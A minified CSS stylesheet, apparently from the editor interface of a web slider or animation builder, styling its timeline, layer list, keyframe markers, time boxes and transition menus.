.tllayerlist_element_zone >.layerlist_element_innerwrap.directedit .layerlist_element_alias { display: inline-block !important; } .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_toolbar, .tllayerlist_element_zone >.layerlist_element_innerwrap .fclayer_withslideend, .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_selector { display: none !important; } /** LAYERLIST ELEMENT LEVEL **/ #rb_tlw .layerlist_element_level i, #timeline .layerlist_element_level i { width: 20px; display: none; font-size: 22px !important; cursor: pointer; } #rb_tlw .layerlist_element_level i, #timeline .layerlist_element_level i { color: #b7bbc0 } #rb_tlw .layerordertypewrap .layerlist_element_level i, #timeline .tllayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level i, #rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap .layerlist_element_level i { margin-left:0px; display: inline-block; color:#777c80; opacity: 1; } #rb_tlw .layerlist_element_innerwrap:hover .layerlist_element_level i, #timeline .layerlist_element_innerwrap:hover .layerlist_element_level i { color:#fff;opacity: 1; } /*#rb_tlw .layerordertypewrap:hover .layerordertypewrap_title, #rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias, #timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias,*/ #rb_tlw .layerordertypewrap:hover .layerordertypewrap_title, #rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias, #timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_alias, #rb_tlw .layerordertypewrap:hover .layerlist_element_level i, #rb_tlw .clayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_level i, #timeline .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .layerlist_element_level i { color: #b7bbc0; } .tllayerlist_element_group>.layerlist_element_innerwrap>.context_left>.layerlist_element_level, .layerlist_element ul li .layerlist_element_level { margin-left: 5px; } .tllayerlist_element_group ul li.layerlist_element.withchildren .layerlist_element_innerwrap .layerlist_element_level, .layerlist_element ul li ul li .layerlist_element_level { margin-left: 15px; } /* GROUP 3thd LEVEL */ ul.layerListContainer > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > .layerlist_element_innerwrap > .context_left > .layerlist_element_level { margin-left: 25px; } ul.layerListContainer > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element > .layerlist_element_innerwrap > .context_left > .layerlist_element_type { margin-left: 35px; } /* GROUP 4th LEVEL */ ul.layerListContainer > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > .layerlist_element_innerwrap > .context_left > .layerlist_element_level { margin-left: 35px; } ul.layerListContainer > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element.tllayerlist_element_group > ul > li.layerlist_element > .layerlist_element_innerwrap > .context_left > .layerlist_element_type { margin-left: 45px; } .tllayerlist_element_column ul li.tllayerlist_element_group>.layerlist_element_innerwrap>.context_left>.layerlist_element_level { margin-left: 25px; } .tllayerlist_element_group ul li.layerlist_element.withchildren>.layerlist_element_innerwrap>.context_left>.layerlist_element_type { margin-left:0px !important} #timeline .layerordertypewrap .layerlist_element_level i, #rb_tlw .layerordertypewrap .layerlist_element_level i, #timeline .layerlist_element.withchildren>.layerlist_element_innerwrap .layerlist_element_level i, #rb_tlw .layerlist_element.withchildren>.layerlist_element_innerwrap .layerlist_element_level i { display: inline-block; } /* HIDE / SHOW LAYER GROUPS BASED ON SELECTED STATE */ .hide_top_row_layers .zone_top { display: none; } .hide_middle_row_layers .zone_middle { display: none; } .hide_bottom_row_layers .zone_bottom { display: none; } .hide_free_layers .layerListContainer >li.not_zone_layer { display: none; } .staticlayersview .hide_free_layers .layerListContainer >li.not_zone_layer { display: block !important; } /****************************** - TIMELINE SETTINGS - ******************************/ #timeline_settings { display: none; vertical-align: top; position: absolute; left: 0px;z-index: 920; top:auto;bottom:0px;padding: 0px 320px 0px 0px; height:auto;; width:100%; box-sizing: border-box; min-width: 1071px} #timeline { height:75px; background:#202224;} #timeline >.ui-resizable-n { height: 10px; } #timeline.inResize >.ui-resizable-n:after, #timeline >.ui-resizable-n:hover:after { content: " "; position: absolute;top: 3px;left:0px; width: 100%;height: 3px; background: #777b80; } #tlLayerListWrap { height: 134px; box-sizing: border-box; position: relative; } #timeline_top_toolbar { position: relative; height: 36px; z-index: 1600; background: #202224; } .timeline_left_container, .timeline_right_container { display: block; box-sizing: border-box; min-height: 36px; } .timeline_left_container { width: 290px; position: absolute; top: 0px;left: 0px;padding-left: 10px; background: #202224;z-index: 1500} .timeline_right_container { width: 16380px; margin-left: 310px;position: relative; } #time_linear { height: 35px; background: #202224;position: relative; bottom:0px; width: 100%; vertical-align: bottom; border-bottom:8px solid transparent; box-sizing: border-box;} #time_linear_canvas { height: 35px; width: 16380px; position: absolute;top: 0px;left: 0px; } #time_linear:before { width: 20px; height: 1px; background: #323438; content: " "; position: absolute; left: -20px;bottom: -9px; } #time_linear_offset { position: absolute;top: 0px;left: 0px; height:30px; width: 2400px; } #timeline_top_toolbar .timeline_left_container { height: 36px; vertical-align: bottom; padding:0px 0px; line-height: 36px;border-bottom:1px solid #323438;} #timeline_top_toolbar .timeline_right_container { height: 36px; vertical-align: bottom; line-height: 36px; border-bottom:1px solid #323438; background:#202224;} #time_linear .rm_ms, #time_linear .rm_sec, #time_linear .rm_twosec { width: 1px;height: 4px; border-left: 1px solid #414244; position: absolute;bottom:1px; color: rgba(183,187,192,0.5); font-size: 10px; margin-bottom: 0px; } #time_linear .rm_sec { height: 16px; vertical-align: bottom; margin-bottom: 0px; } #time_linear .rm_twosec { height: 16px; vertical-align: bottom; margin-bottom: 0px; } #time_linear .rulertxt { position: absolute;top: -2px; left:11px;line-height: 15px; font-size:11px; width: auto;transform: translateX(-50%);} #time_linear_hor_marker { width:1px;height:100%;background:#ff0000; position: absolute; top:0px;left:100px;z-index:800;} .tl_gridmanagement_wrap, .tl_magnifying_wrap, .tl_multip_wrap, .tl_playstop_wrap, .tl_toolbar_wrap, .layer_group_filter_wrap { display: inline-block; position:absolute; } .tl_gridmanagement_wrap { right: 85px; top: 0px; } .tl_magnifying_wrap { right: 55px; top: 0px; } .tl_multip_wrap { right:25px; top:0px;} .tl_playstop_wrap { right:0px; top:0px;} .tl_toolbar_wrap { right:25px;} .layer_group_filter_wrap { left: 9px; top: 3px; } .tl_magnifying_wrap label_icon.ui_magnet { position: relative; top: 3px; } #general_gridmanagement_wrap { display: none; position: absolute; top: -97px; width:300px; height: 63px;line-height: 35px;background: #202224;padding: 15px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-100px);} #general_frame_magnif_wrap { display: none; position: absolute; top: -120px; width:250px; height: 95px;line-height: 35px;background: #202224;padding: 10px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-50%);} #general_speed_factor_wrap { display: none; position: absolute; top: -55px; width:220px; height: 30px;line-height: 35px;background: #202224;padding: 10px 15px;white-space: nowrap;border-radius: 4px; transform: translateX(-50%);} #general_speed_factor_wrap input[type="text"] { width: 60px; } .closeme_tl_miniwrapper { position: absolute; top: 2px;right: 2px;cursor: pointer; height: 20px;width: 20px;line-height: 20px;text-align: center;} .closeme_tl_miniwrapper i.material-icons { color: #fff; font-size: 15px; line-height: 20px !important; opacity: 0.5; } .closeme_tl_miniwrapper:hover i.material-icons { opacity: 1; } .tl_gridmanagement_wrap.selected #general_gridmanagement_wrap, .tl_magnifying_wrap.selected #general_frame_magnif_wrap, .tl_multip_wrap.selected #general_speed_factor_wrap { display: block; } #general_frame_magnif_wrap .radiooption, #general_frame_magnif_wrap .radiooption div { display: block;position: relative} #general_frame_magnif_wrap .radiooption .shortcuttext { right: 20px;color: #777c80; position: absolute;width: 35px;text-align: left;} .tl_multip_wrap.selected #tl_multiplicator i{ color: #fff; opacity: 1; } #timeline_settings .basic_action_button#gsf_ok { height: 30px;border-radius: 4px; margin-left: 5px; line-height: 30px; } #timeline_settings .basic_action_button#gsf_ok:hover { background: #006dd2; } .layer_g_filter label_icon { width: 25px; margin: 0px; cursor: pointer } .layer_allcollaps, .layer_g_filter { display: inline-block; } .tl_gridmanagement_wrap.selected #tl_gridmanagement i { color: #fff !important; } .layer_allcollaps { line-height: 30px !important; vertical-align: top; margin-left: 7px; cursor: pointer;color: #b7bbc0; } .layer_allcollaps:hover { color: #fff; } .layer_allcollaps i { font-size: 20px; } #timeline_settings .basic_action_button { background: transparent; border:none; border-radius: 0px; width:30px; text-align:center; height:35px; line-height:35px; text-align:center; color:#777c80; text-transform: uppercase; font-weight: 400; font-size: 12px;box-sizing: border-box;margin:0px; padding:0px;} #timeline_settings .basic_action_button i { font-size: 20px; margin:0px;} #timeline_settings .basic_action_button:hover { color: #b7bbc0; border: none; } #timeline_settings .basic_action_button:hover i.material-icons { color: #fff; } .action_collection_wrap { position: relative; cursor: pointer; display:block;} .action_collections { position: absolute; background: #2a2c2f; top: 100%;left: 0px; display: none; width: 100%; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); padding: 5px; box-sizing: border-box } .action_collection_wrap.showmore .action_collections { display: block; } .action_collection_wrap.showmore {z-index:1000;} .slide_timeline, #tlLayerListWrap .layerListContainer { padding-left: 0px; } .slide_timeline .slide_timeline_element, .tllayerlist_element { background: #202224; line-height: 36px; } .nolayeravailable { background: #202224; min-height: 29px; line-height: 29px; } .slide_timeline_element .layerlist_element_innerwrap, .tllayerlist_element .layerlist_element_innerwrap { width: 16380px;min-height:36px; border-bottom:1px solid #323438;box-sizing: border-box} .slide_timeline_element .layerlist_element_innerwrap .context_left, .tllayerlist_element .layerlist_element_innerwrap .context_left { width: 290px; line-height: 36px; position: relative; background:#202224;z-index:1500;box-sizing: border-box; padding-left: 15px;height:35px;} .tllayerlist_element .layerlist_element_innerwrap .context_left:after, #the_fake_cl:after, #the_st_cl:after, .timeline_left_container:after { content: " "; right: -1px;top: 0px; height: 100%; background: #3f444a;width: 1px; position: absolute } #timeline .layerlist_element_id, #timeline .layerlist_element_mover, #timeline .layerlist_element_type, #timeline .layerlist_element_alias { line-height: 36px;margin-right: 10px; max-width: 150px; overflow: hidden; white-space: nowrap} /* NO LAYERS AVAILABLE TEXT */ .tllayerlist_element.nolayeravailable { margin-left: 10px; } .tllayerlist_element.nolayeravailable .context_left { padding-left: 36px; } .slide_timeline .layerlist_element_type { margin-left:0px;} .slide_timeline .slide_timeline_element .layerlist_element_alias, .nolayeravailable .layerlist_element_alias {color:#b7bbc0; white-space: nowrap} #rb_tlw .slide_timeline_element input[type=checkbox].simplechkbx, #rb_tlw .tllayerlist_element input[type=checkbox].simplechkbx { line-height: 36px;margin-top: 10px; } #timeline_settings .slide_timeline .slide_timeline_element .material-icons, #timeline_settings .layerListContainer .material-icons { line-height: 36px; font-size: 17px; } #timeline_settings #tl_trigger_slide_options { font-size: 15px; line-height: 36px; position: absolute; top: 0px; right: 8px; color: #777c80; cursor: pointer} #timeline_settings #tl_trigger_slide_options:hover { color: #fff; } /*#timeline_settings .slide_timeline .slide_timeline_element .material-icons { color: #5e35b1 !important; }*/ .stimeline { position: absolute;left: 310px; top: 0px;height: 35px; background: #202224;width: 100%; border-bottom:1px solid #323438; /**/} .slide_timeline_element>.layerlist_element_innerwrap:hover .context_left, .fake_tllayerlist_element>.layerlist_element_innerwrap:hover .context_left, .tllayerlist_element>.layerlist_element_innerwrap:hover .context_left, .slide_timeline_element.checked>.layerlist_element_innerwrap .context_left, .tllayerlist_element.checked>.layerlist_element_innerwrap .context_left { color:#fff;} .slide_timeline_element>.layerlist_element_innerwrap:hover .context_left, .fake_tllayerlist_element>.layerlist_element_innerwrap:hover .context_left, .tllayerlist_element>.layerlist_element_innerwrap:hover .context_left, .slide_timeline_element.checked>.layerlist_element_innerwrap .context_left, .tllayerlist_element.checked>.layerlist_element_innerwrap .context_left, .slide_timeline_element .layerlist_element_innerwrap:hover .stimeline, .tllayerlist_element .layerlist_element_innerwrap:hover .stimeline, .tllayerlist_element.checked >.layerlist_element_innerwrap .stimeline, .tllayerlist_element .layerlist_element_innerwrap:hover, #the_slide_timeline:hover>.layerlist_element_innerwrap, .tllayerlist_element.checked>.layerlist_element_innerwrap { background: #0d0d0e; /*hoveredtimelinebg*/ } .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .context_left, .tllayerlist_element_zone >.layerlist_element_innerwrap:hover .stimeline { background:#0d0d0e } .tllayerlist_element .layer_has_action { width: 8px;height: 8px; position: absolute; top: 13px; left: 11px; border-radius: 4px; background: #f82c8e; display: none; } .tllayerlist_element .layer_raz_info { display:none} .tllayerlist_element_group.tllayerlist_element .tllayerlist_element .layer_raz_info { position: absolute;top: 0px;right: 0px;font-size: 10px;text-align: right; text-transform: uppercase; background:#202224; width:120px; height:28px; z-index:1620;} .tllayerlist_element_group.tllayerlist_element .tllayerlist_element:hover >.layerlist_element_innerwrap >.context_left >.layer_raz_info, .tllayerlist_element_group.tllayerlist_element .tllayerlist_element.checked >.layerlist_element_innerwrap >.context_left >.layer_raz_info { background:#0d0d0e;} .tllayerlist_element_group.tllayerlist_element .tllayerlist_element .layer_raz_info label_icon.ui_free_layers {margin : 2px 0px 0px 0px; padding:0px;} .tllayerlist_element_group.tllayerlist_element .tllayerlist_element .layer_raz_info b { margin-left:5px; margin-right:-5px; font-size:13px; font-weight:800} .tllayerlist_element_group.layerlist_element.incolumndrop .tllayerlist_element .layer_raz_info { display:block !important} .tllayerlist_element.actionmarked .layer_has_action { display: block } .timebox, .timebox_idle { width: 60px;height: 17px; box-sizing: border-box; vertical-align: top; line-height: 17px; background: #121314; color: #fff; font-size: 12px; text-align: center; top:10px; position: absolute; left:0px;} .timebox_idle { background: #202224; box-shadow: 0px 0px 0px 1px #4f565f; } .inmove.timebox, #currenttime.inmove .timebox, .timebox span { display: inline-block; font-size: 12px; color: #fff; } .timebox_marker { width: 0px; height: 4000px; border-left:1px solid rgba(255,255,255,0.1); background:transparent; position: absolute;left: 0px;top: 26px; } #currenttime .timebox_idle { display: inline-block; } #currenttime .timebox { display: none } #currenttime.inmove .timebox_idle { display: none } #currenttime.inmove .timebox { display: inline-block } .slidelooptimemarker, .fixedscrolltimemarker{ display:none; height:100%; width: 200px; background: rgba(63, 68, 74, 0.15); pointer-events: none; z-index: 1000; position: absolute; top: 0px;left:200px; } #time_linear .slidelooptimemarker, #fixedscroll_linear .fixedscrolltimemarker { height: 35px; } #fixedscrolltimestart .timebox_marker, #fixedscrolltimeend .timebox_marker, #slidelooptimestart .timebox_marker, #slidelooptimeend .timebox_marker { border-left: 1px solid #323438; top: 0px; z-index: 2; } #slidelooptimestart .timebox_marker:after, #fixedscrolltimestart .timebox_marker:after { content:" "; width: 0; height: 0; border-style: solid; border-width: 10px 10px 0 0; border-color: #3f444a transparent transparent transparent; position:absolute; top:0px;left:0px;} #slidelooptimeend .timebox_marker:after, #fixedscrolltimeend .timebox_marker:after { content:" "; width: 0;height: 0;border-style: solid;border-width: 0 10px 10px 0;border-color: transparent #3f444a transparent transparent; position:absolute; top:0px;right:0px;} #hovertime .timebox_marker, #frametime .timebox_marker { border-left-color: #006dd2; } #hovertime .timebox, #frametime .timebox { background: #006dd2; } #currenttime .timebox { background: #202224;box-shadow: 0px 0px 0px 1px #4f565f; } #currenttime .timebox_marker { border-left-color: transparent; } #currenttime.inmove .timebox { background: #5e35b1; box-shadow: none; } #currenttime.inmove .timebox_marker { border-left-color: #5e35b1; } .covered .timebox_marker { display: none; } #fixedscrolltimestart .timebox, #fixedscrolltimeend .timebox, #slidelooptimestart .timebox, #slidelooptimeend .timebox, #maxtime .timebox { color: #fff; background: #202224;box-shadow: 0px 0px 0px 1px #4f565f; top: 10px; line-height: 17px; height: 17px; left: 0px; position: absolute; } #fixedscrolltimestart .timebox, #fixedscrolltimeend .timebox, #slidelooptimestart .timebox, #slidelooptimeend .timebox { display:none } #fixedscrolltimeend .timebox #slidelooptimeend .timebox { left: -60px; } #fixedscrolltimestart .timebox, #fixedscrolltimeend .timebox, #slidelooptimestart .timebox, #slidelooptimeend .timebox { z-index: 4; } #fixedscrollimestart .timebox span, #fixedscrollimeend .timebox span, #slidelooptimestart .timebox span, #slidelooptimeend .timebox span #maxtime .timebox span { color: #fff; } #fixedscrolltimestart, #fixedscrolltimeend, #slidelooptimestart, #slidelooptimeend { pointer-events: none; display: none; } #timeline.fixedscrollon .fixedscrolltimemarker, #timeline.fixedscrollon #fixedscrolltimestart, #timeline.fixedscrollon #fixedscrolltimeend, #timeline.slideloopon .slidelooptimemarker, #timeline.slideloopon #slidelooptimestart, #timeline.slideloopon #slidelooptimeend { display: block; z-index:1;} /* SLIDE LOOP EDIT MODE */ #timeline.fixedscrolledit #fixedscrolltimestart, #timeline.fixedscrolledit #fixedscrolltimeend, #timeline.slideloopedit #slidelooptimestart, #timeline.slideloopedit #slidelooptimeend { pointer-events: auto; z-index: 10} #timeline.fixedscrolledit #fixedscrolltimestart .timebox_marker, #timeline.fixedscrolledit #fixedscrolltimeend .timebox_marker, #timeline.slideloopedit #slidelooptimestart .timebox_marker, #timeline.slideloopedit #slidelooptimeend .timebox_marker {border-color: #5e35b1; } #timeline.fixedscrolledit #fixedscrolltimestart .timebox_marker:after, #timeline.slideloopedit #slidelooptimestart .timebox_marker:after {border-color: #5e35b1 transparent transparent transparent} #timeline.fixedscrolledit #fixedscrolltimeend .timebox_marker:after, #timeline.slideloopedit #slidelooptimeend .timebox_marker:after {border-color:transparent #5e35b1 transparent transparent;} #timeline.fixedscrolledit .fixedscrolltimemarker, #timeline.slideloopedit .slidelooptimemarker { background: rgba(94, 53, 177, 0.15); } #timeline.fixedscrolledit #fixedscrolltimestart .timebox, #timeline.fixedscrolledit #fixedscrolltimeend .timebox, #timeline.slideloopedit #slidelooptimestart .timebox, #timeline.slideloopedit #slidelooptimeend .timebox { display: block; } /*#time_linear .rm_twosec:first-child { height: 26px; bottom: -10px; border-left: none} 310 insted of 290*/ #hovertime, #frametime, #currenttime, #maxtime, #fixedscrolltimestart, #fixedscrolltimeend, #slidelooptimestart, #slidelooptimeend { position:absolute; left:0px; top:0px; cursor:pointer; z-index: 5} #fixedscrolltimestart, #slidelooptimestart { left: 200px; } #fixedscrolltimeend, #slidelooptimeend { left: 400px; } #maxtime { z-index: 4; } #fixedscrolltimeend, #fixedscrolltimestart, #slidelooptimeend, #slidelooptimestart { z-index: 15; } #frametime { pointer-events: none; z-index: 6; display: none} #hovertime { pointer-events: none; z-index: 2; display: none} #hovertime.hideme, #frametime.hideme { display: none !important; } /*** SINGLE TIMELINES ****/ .stimeline .frameswrap { position: absolute !important;height: 16px;top: 10px;left: 0px; } .stimeline .frameswrap framebg { position: absolute !important; top: 0px;left: 0px; height: 16px;/*background: #323438;*/ cursor: ew-resize;} .frame_unvisible_start { position: absolute;top: -11px;left: -20px; width: 300px; background: #202224; opacity: 0.75; height: 37px; z-index: 100; pointer-events: none; display:none;} .tllayerlist_element.frame_1_indrag >ul .frame_unvisible_start { display: block; } .frameswrap framewrap { position: absolute !important; top: 0px !important;left: 0px; min-width: 0px;height: 16px;background: #4f5660; border-radius:2px; cursor: ew-resize} #the_slide_timeline .stimeline .frameswrap framebg, #the_slide_timeline .stimeline .frameswrap framewrap { cursor: default; } .frameswrap framewrap marker { background: #3f444a;position: absolute; left:auto;right:0px; top: 0px; height: 16px; border-radius:2px;} .frameswrap framewrap.frame_frame_1 marker, .frameswrap framewrap.frame1 marker, .frameswrap framewrap:first-child marker { left: 0px; right:auto;} .enable_on_frame_0, .enable_on_frame_1, .enable_on_frame_999 { visibility: hidden; height: 0px; width: 0px; opacity: 0; } .show_on_frame_0, .show_on_frame_1, .show_on_frame_999 { display: none !important; } .selected_frame_0 .hide_on_frame_0 { display: none !important; } .selected_frame_0 .show_on_frame_0, .selected_frame_1 .show_on_frame_1, .selected_frame_999 .show_on_frame_999 { display: inline-block !important; } .selected_frame_0 .enable_on_frame_0, .selected_frame_1 .enable_on_frame_1, .selected_frame_999 .enable_on_frame_999 { visibility: visible !important; height: auto; width: auto; opacity: 1; } .selected_frame_0 #remove_keyframe, .selected_frame_1 #remove_keyframe, .selected_frame_999 #remove_keyframe { display: none; } #le_keyframes_list_innerwrap { position: relative } #remove_keyframe:hover { color: #fff !important; } .frameswrap frameinfo { position: absolute;top: 2px;left: 50%;color: #fff;line-height: 12px;font-size: 11px;transform: translateX(-50%); font-weight: 400; pointer-events: none; z-index: 5} .frameswrap framedelay { position: absolute; display:none;top: -17px;padding:0px 3px; border:1px solid transparent; color: #b7bbc0;line-height: 14px;font-size: 11px;transform: translateX(-100%); font-weight: 400; z-index: 3; pointer-events: none; background:#3f444a;} .frameswrap endloop, .frameswrap startloop { display:none; position: absolute; pointer-events: none; top: 0px; left:0px; line-height: 16px; font-size: 11px;background: #3f444a; color:#b7bbc0; border:1px solid #777c80;box-sizing: content-box; z-index:8; width:14px; height:14px;} .frameswrap endloop { left:auto; right:0px;} .frameswrap starloop.shifted { left: 17px !important; } #timeline_settings .layerListContainer .frameswrap endloop i.material-icons, #timeline_settings .layerListContainer .frameswrap startloop i.material-icons { line-height: 14px !important; font-size: 14px !important; width:14px;} .frameswrap framedelay.coloredbgover, .frameswrap framedelay.coloredbg { top: 0px !important; display: block; } .stimeline:hover .frameswrap framedelay, .frameswrap framewrap.ui-draggable-dragging framedelay { display: block; } framedelay.coloredbg { background: #3f444a; color:#b7bbc0; border:1px solid #777c80;box-sizing: border-box; font-weight: 600} framedelay.coloredbgover { color:#b7bbc0; border:1px solid #777c80; } #slide_frame_container framedelay { display: none !important; opacity: 0 !important; } .checked >.layerlist_element_innerwrap .stimeline framedelay.coloredbg, .checked >.layerlist_element_innerwrap .stimeline startloop, .checked >.layerlist_element_innerwrap .stimeline endloop { background:#4f5660;border:1px solid #fff; color:#fff;} framewrap:hover startloop, framewrap:hover endloop, .checked >.layerlist_element_innerwrap .stimeline framedelay.coloredbgover { border:1px solid #fff; color:#fff;} .frameswrap framewrap:hover startloop, .frameswrap framewrap:hover endloop, .frameswrap framewrap.selected startloop, .frameswrap framewrap.selected endloop, .frameswrap framewrap.selected, .frameswrap framewrap.selected marker, .frameswrap framewrap:hover, .frameswrap framewrap:hover marker { background: #006dd2 !important; } .inAnimationMode .frameswrap framewrap.frame_frame_1 { background: transparent !important; } .inAnimationMode .frameswrap framewrap.frame_frame_1 ffafter { z-index:2; content:" "; position: absolute; top:0px; left:50%; height: 100%; width: 50%; background:#4f5660; border-radius: 0px 2px 2px 0px; box-sizing: border-box;} .inAnimationMode .frameswrap framewrap.frame_frame_1 ffbefore { z-index:2; content:" "; position: absolute; top:0px; left:0; height: 100%; width: 50%; background:#4f5660; border-radius: 2px 0px 0px 2px; box-sizing: border-box;margin-right:1px;} .inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffbefore, .inAnimationMode .frameswrap framewrap.frame_frame_1 ffbefore:hover { background: #006dd2; } .inAnimationMode .frameswrap framewrap.frame_frame_1.selected ffafter, .inAnimationMode .frameswrap framewrap.frame_frame_1 ffafter:hover { background: #006dd2; } .inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffafter { background: #4f5660; border: none; } .inAnimationMode .frameswrap framewrap.frame_frame_1.selected_0.selected ffafter:hover { background: #006dd2 !important; } .frameswrap framewrap.selected framedelay.coloredbg, .frameswrap framewrap.selected framedelay.coloredbgover, .frameswrap framewrap:hover framedelay.coloredbg, .frameswrap framewrap:hover framedelay.coloredbgover { border-color: #fff; background: #006dd2 !important; color: #fff; } /*#slide_frame_container .frameswrap framewrap { background: #5e35b1; cursor:default;}*/ #slide_frame_container .frameswrap framewrap marker { background: #5e35b1; cursor:default;} #timeline_collapser { display:none; z-index: 1700;line-height: 35px; background-color:#202224; font-size:11px; position: absolute; right: 0px;top: 0px; width: 35px;height: 35px; text-transform: uppercase; color: #777c80; cursor: pointer; text-align: center; } #timeline_collapser i { margin: 0px; padding: 0px; width: 35px;height: 35px; font-size: 24px} #timeline_collapser:hover { color: rgba(183,187,192,1); } .inResize #timeline_collapser { display: none !important; } #timeline > .ui-resizable-n { cursor: ns-resize; } #timeline_settings #frametime { display: none; } /*#timeline_settings.frame_in_drag #currenttime,*/ #timeline_settings.frame_in_drag #hovertime, #timeline_settings.frame_in_drag #maxtime { display: none !important; } #timeline_settings.frame_in_drag #frametime { display: block !important; } /*********************************** - LAYER ANIMATION PROGRESS - ************************************/ #le_keyframes_list { position: relative; } #layer_animation_progressbar { position: absolute; left: -14px; top: 0px; width: 6px; height: 100%; border: 1px solid #777c80; border-right: none; } #layer_animation_progressarrow { position:absolute; left:0px; top:0px; transform:translateY(-50%); width: 0;height: 0;border-style: solid;border-width: 5px 0 5px 5px;border-color: transparent transparent transparent #ffffff; } #layer_simulator_time { color: #777c80; display: inline-block; font-size: 12px; font-weight: 400; margin-left: 10px; line-height: 30px; vertical-align: top } #layer_simulator { margin-top: 5px; margin-bottom: 0px; margin-right: 10px} #layer_simulator i.material-icons { width: 30px !important; } .group_loopsettings { display: none; } .settingsmenu_wrapbtn, .ts_wrapbrtn, .loop_wrapbrtn { line-height: 30px; text-align: center; color:#b7bbc0; font-size: 14px; font-weight: 400; display:inline-block; box-sizing: border-box; cursor:pointer; vertical-align: top;min-width: 69px; height: 30px; width:69px;margin-right:1px; margin-bottom:1px;background:#3a3e44;} .ts_wrapbrtn.notinuse, .loop_wrapbrtn.notinuse { background:#35383d; color: rgba(183,187,192,0.4); } #slide_maintranssettings_wrap .ts_wrapbrtn, .settingsmenu_wrapbtn { width: 92px; } #slide_maintranssettings_wrap .ts_wrapbrtn.disabled { opacity: 0.5; pointer-events: none; display: none; } #layer_looping_wrap .settingsmenu_wrapbtn { width: 139px; } .ssmbtn:hover, .ssmbtn.selected, .transtarget_selector:hover, .transtarget_selector.selected, .looptarget_selector:hover, .looptarget_selector.selected { color: #fff; background: #006dd2; } .ssm_content { display: none } .ssm_content.selected { display: block; } .ts_wrapbrtn.notinuse .transtarget_selector:hover, .ts_wrapbrtn.notinuse .transtarget_selector.selected, .loop_wrapbrtn.notinuse .looptarget_selector:hover, .loop_wrapbrtn.notinuse .looptarget_selector.selected { background: transparent; } .form_collector .form_inner_header #add_ltsel i { margin: 0px !important; font-size: 20px; } #layerframespeed_wrap, #slideframespeed_wrap { position: relative } #layerframespeed_sub, #slideframespeed_sub { position: absolute; background: #2a2c2f; color: #777c80; height: 30px; top: 0px; right: 0px; width: 70px; line-height: 30px; z-index: 5; border-radius: 0px 4px 4px 0px; text-align: right; padding: 0px 10px; } /*********************************** - SLIDE BACKGROUND TRANSITIONS - ************************************/ #rb_tlw .transgroup, #rb_tlw .latransgroup { width: 100%;height: auto; cursor: pointer; position: relative;} #rb_tlw .latransgroup .latransgroup_name, #rb_tlw .transgroup .transgroup_name { line-height: 30px; background: #2a2c2f; color: #b7bbc0; font-size: 13px; display: block; padding:0px 20px; border-radius: 4px; margin-bottom: 1px} #rb_tlw .latransgroup.selected .latransgroup_name, #rb_tlw .latransgroup:hover .latransgroup_name, #rb_tlw .transgroup.selected .transgroup_name, #rb_tlw .transgroup:hover .transgroup_name { color: #fff; } #rb_tlw .latransgroup .inner_latransitions, #rb_tlw .transgroup .inner_transitions { padding: 0px 0px; } .animation_drop_arrow { display: block; position: absolute; right:0px; top: 0px; height: 30px; width: 30px; border-left:1px solid #323438; text-align: center;} .animation_drop_arrow i { color: #b7bbc0; line-height: 30px !important; font-size: 20px; transform: rotateZ(-90deg)} #rb_tlw .latransgroup.selected .animation_drop_arrow i, #rb_tlw .transgroup.selected .animation_drop_arrow i { color:#fff;transform: rotateZ(0deg) } #transition_groups { margin-bottom: 25px; } .dark_btn { position: relative; border: none; background: transparent; color:#777c80; font-size: 13px; line-height: 23px; cursor: pointer;padding-left:5px;margin-bottom:5px; overflow: hidden; white-space: nowrap; } .dark_btn.selected, .dark_btn:hover { color:#fff;} .slide_trans_liste, #layer_trans_targets, .layer_trans_liste, .layer_transliste, .added_slide_transition { background:#3a3e44; color:#b7bbc0; border-radius: 4px; line-height: 30px;padding:0px 10px;margin-bottom:1px;position: relative; cursor: pointer} .slide_trans_liste { padding-right: 0px; padding-left:30px;} .slide_trans_liste i.material-icons { float:right;margin-right:6px; font-size:18px } .layer_transliste { background: #5e35b1; } #layer_trans_targets, .layer_transliste { padding: 0px; } .layer_transliste >.right-divided-icon { font-size: 20px !important; } .layer_trans_liste { padding: 0px 20px; } .keyframe_list_title { text-transform: uppercase; font-size: 14px; color: #b7bbc0; font-weight: 800; line-height: 30px; display: inline-block; vertical-align: top;} .keyframe_infotext { font-size: 12px; line-height: 30px; vertical-align: top; text-align: right; float:right; color:#777c80; font-weight: 400; margin-left: 15px; } .keyframe_infotext i { font-size: 14px; margin-left: 5px } #remove_keyframe, #copy_keyframe, #paste_keyframe { cursor: pointer; } #copy_keyframe:hover, #paste_keyframe:hover { color: #b7bbc0; } #paste_keyframe { display: none; } #rb_tlw .latransgroup.selected .inner_latransitions { display: block; } .load_anim_value_wrap { padding: 10px 20px 0px; } .keyframe_liste .load_anim_value_wrap { margin-left: -20px; } .layer_trans_liste:hover, .layer_trans_liste.selected, .slide_trans_liste:hover, .slide_trans_liste.selected, .added_slide_transition.selected { background: #006dd2;} .layer_transliste:hover { color: #fff; } i.material-icons.rotateleft, .layer_transliste i, .latransgroup i { transform: rotateZ(-90deg) } 